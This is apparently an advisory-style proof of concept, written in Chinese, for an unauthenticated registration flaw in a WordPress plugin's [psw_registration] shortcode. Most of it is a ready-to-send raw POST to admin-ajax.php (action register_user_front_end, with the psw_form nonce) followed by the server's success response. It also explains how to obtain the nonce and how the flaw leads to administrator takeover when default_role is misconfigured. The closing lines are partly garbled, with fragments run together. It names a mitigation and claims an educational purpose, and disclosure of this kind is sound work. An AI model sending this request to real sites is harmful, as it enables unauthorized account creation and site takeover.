该插件在其注册机制中暴露了一个严重缺陷。虽然它提供了一个基于短代码的前端注册表单([psw_registration]),但未能强制执行适当的角色限制或安全验证。
攻击者可以利用此机制在无需认证的情况下创建账户——如果站点的 default_role 配置错误(例如设置为 administrator),则可能导致完全权限提升。
POST /wordpress/wp-admin/admin-ajax.php
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {Host}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: {Host}
Connection: keep-alive
Cookie:
Priority: u=0
first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d
psw_form是请求所需的 nonce 字段。
该 nonce 由前端的[psw_registration]短代码动态生成。
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<h4>Hello nxploited nxploited</h4>
<p>Thanks for creating an account on our website. Please check your email for activation link...</p>
register_user_front_enddefault_role 设置来分配用户角色administrator),攻击者将获得完全访问权限要暴露注册表单并为 psw_form 生成有效的 nonce,请使用以下短代码:
[psw_registration]
这会渲染一个注册表单,其中包含使 AJAX 调用成功所需的隐藏 nonce 字段。
default_role 锁定为安全值(例如 subscriber)本报告仅用于教育和授权的安全测试目的。未经许可利用此漏洞可能违反法律和道德界限。
NXploited (Khaled_Alenazi)